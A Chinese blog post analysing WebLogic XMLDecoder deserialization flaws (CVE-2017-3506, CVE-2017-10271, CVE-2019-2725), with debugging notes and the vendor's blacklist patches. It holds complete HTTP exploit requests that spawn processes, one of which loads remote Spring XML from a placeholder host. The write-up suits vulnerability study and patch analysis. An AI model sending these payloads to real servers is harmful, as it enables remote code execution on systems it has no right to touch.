前言
鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。
- CVE-2017-3506
 
- CVE-2017-10271
 
- CVE-2019-2725
 
由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。
XMLDecoder
这是一个java中的类,并不是Weblogic特有的,类的位置为java.beans.XMLDecoder
个人理解就是将一个描述java操作的XML文件转换为实际的java操作代码,也类似于一种反序列化的操作,只是载体变成了XML文件。(可能不咋准确
举个栗子
poc.xml
1 2 3 4 5 6 7 8 9 10
   | <java>     <object class="java.lang.ProcessBuilder">         <array class="java.lang.String" length="1" >             <void index="0">                 <string>calc</string>             </void>         </array>         <void method="start"/>     </object> </java>
   | 
 
然后我们利用XMLDecoder类对其进行反序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | public class Main {
      public static void main(String[] args) {         String path = "src/poc.xml";         try {             XMLDecode_Deserialize(path);         } catch (Exception e) {             e.printStackTrace();         }     }
      private static void XMLDecode_Deserialize(String path) throws Exception {         File file = new File(path);         FileInputStream fis = new FileInputStream(file);         BufferedInputStream bis = new BufferedInputStream(fis);         XMLDecoder xd = new XMLDecoder(bis);         xd.readObject();         xd.close();     } }
  | 
 
运行之后可以发现,执行了java.lang.ProcessBuilder("calc").start()的操作。
XML文件里的描述也正是对于执行这样一段代码的描述(或者说序列化),通过XMLDecoder反序列化之后执行了这段代码。
对于具体XMLDecoder的执行流程,能力有限,本菜就稍微跟着看了下,就不班门弄斧了,感兴趣的可以看。
https://xz.aliyun.com/t/5069
CVE-2017-3506
 这里测试的Weblogic版本为10.3.6
漏洞触发的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 495
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">     <soapenv:Header>      <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">   <java> 	<object class="java.lang.ProcessBuilder"> 		<array class="java.lang.String" length="1" > 			<void index="0">  				<string>calc</string>			 			</void>		 		</array> 		<void method="start"/> 	</object> </java>     </work:WorkContext>    </soapenv:Header>     <soapenv:Body/>  </soapenv:Envelope>
   | 
 
关于漏洞触发点在https://xz.aliyun.com/t/1848中提到
对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
动态调试
断点打在weblogic.wsee.workarea WorkContextXmlInputAdapter的readUTF(),可以看到对应调用的堆栈信息

来到weblogic.wsee.jaxws.workcontext的processRequest
可以看到传入的var1就是POST的XML内容,类型为一个Packet

然后通过
1 2
   | HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
   | 
 
获取到了var3并传入到了this.readHeaderOld(var3);方法中
再到readHeaderOld中可以看到var4的值正是之前XML数据中的java标签代码

通过var4生成了var6的WorkContextXmlInputAdapter类,最后调用到了其readUTF()方法,从而进行了XMLDecoder.readObject()的反序列化。
漏洞补丁
由于本人也不知道怎么拿到weblogic的补丁,于是只能参考别的师傅文章中给出的补丁
这次的补丁在WorkContextXmlInputAdapter中添加了validate的验证,很明显的黑名单验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | private void validate(InputStream is) {       WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();       try {          SAXParser parser = factory.newSAXParser();          parser.parse(is, new DefaultHandler() {             public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                if(qName.equalsIgnoreCase("object")) {                   throw new IllegalStateException("Invalid context type: object");                }             }          });       } catch (ParserConfigurationException var5) {          throw new IllegalStateException("Parser Exception", var5);       } catch (SAXException var6) {          throw new IllegalStateException("Parser Exception", var6);       } catch (IOException var7) {          throw new IllegalStateException("Parser Exception", var7);       }    }
  | 
 
可以看到限制了Object标签,从而限制通过XML来构造类。也正是因为这样的黑名单限制,所以很快就出了CVE-2017-10271
CVE-2017-10271
这个漏洞存粹就是对上一个漏洞补丁的绕过。直接来看下POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 708
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">     <soapenv:Header>      <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">       <java>         <void class="java.lang.ProcessBuilder">             <array class="java.lang.String" length="1">                 <void index="0">                 	<string>calc</string>                 </void>             </array>         <void method="start"/></void>     </java>     </work:WorkContext>    </soapenv:Header>     <soapenv:Body/>  </soapenv:Envelope>
   | 
 
可以看到唯一的变化就是把之前的Object标签变成了void标签,就轻松的绕过了之前的补丁。
至于为什么可以的原因在那篇分析XMLDecoder原理的文章中也提到了 https://xz.aliyun.com/t/5069
这里我也稍微看了下,主要的原因可以通过继承关系看到,VoidElementHandler类继承了ObjectElementsHandler类,并且没有重写addAttribute方法,所有调用时依旧是调用到ObjectElementsHandler中的方法,也就导致了void标签和object的标签都可以生成一个类。

这回的补丁依旧是黑名单的形式,限制了不少的标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | private void validate(InputStream is) {    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try {       SAXParser parser = factory.newSAXParser();       parser.parse(is, new DefaultHandler() {          private int overallarraylength = 0;          public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {             if(qName.equalsIgnoreCase("object")) {                throw new IllegalStateException("Invalid element qName:object");             } else if(qName.equalsIgnoreCase("new")) {                throw new IllegalStateException("Invalid element qName:new");             } else if(qName.equalsIgnoreCase("method")) {                throw new IllegalStateException("Invalid element qName:method");             } else {                if(qName.equalsIgnoreCase("void")) {                   for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                      }                   }                }                if(qName.equalsIgnoreCase("array")) {                   String var9 = attributes.getValue("class");                   if(var9 != null && !var9.equalsIgnoreCase("byte")) {                      throw new IllegalStateException("The value of class attribute is not valid for array element.");                   }
  | 
 
CVE-2019-2725
这个洞时隔两年之后才被放出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | POST /_async/AsyncResponseService HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Content-Length: 728 Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">    <soapenv:Header>  	   <wsa:Action>xx</wsa:Action> 	   <wsa:RelatesTo>xx</wsa:RelatesTo> 	   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 		   <java> 				<class>					<string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string> 					<void> 						<string>http://xxxx</string> 					</void> 				</class> 			</java> 		</work:WorkContext>    	</soapenv:Header>    	<soapenv:Body>      	<asy:onAsyncDelivery/>    	</soapenv:Body> </soapenv:Envelope>
   | 
 
可以看到这回是利用class标签构造类,但是由于限制了method从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有
FileSystemXmlApplicationContext 
UnitOfWorkChangeSet 
至于漏洞的修复,也是一如既往的黑名单,限制的更为严格了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {             if(qName.equalsIgnoreCase("object")) {                throw new IllegalStateException("Invalid element qName:object");             } else if(qName.equalsIgnoreCase("new")) {                throw new IllegalStateException("Invalid element qName:new");             } else if(qName.equalsIgnoreCase("method")) {                throw new IllegalStateException("Invalid element qName:method");             } else {                if(qName.equalsIgnoreCase("void")) {                   for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                      }                   }                }                if(qName.equalsIgnoreCase("array")) {                   String var9 = attributes.getValue("class");                   if(var9 != null && !var9.equalsIgnoreCase("byte")) {                      throw new IllegalStateException("The value of class attribute is not valid for array element.");                   }
  | 
 
由于能力有限,过多的思考和总结这里也就暂时谈不上,目前只当作学习了。不知这种黑名单的防御方式下一次被绕过会是在什么时候。
References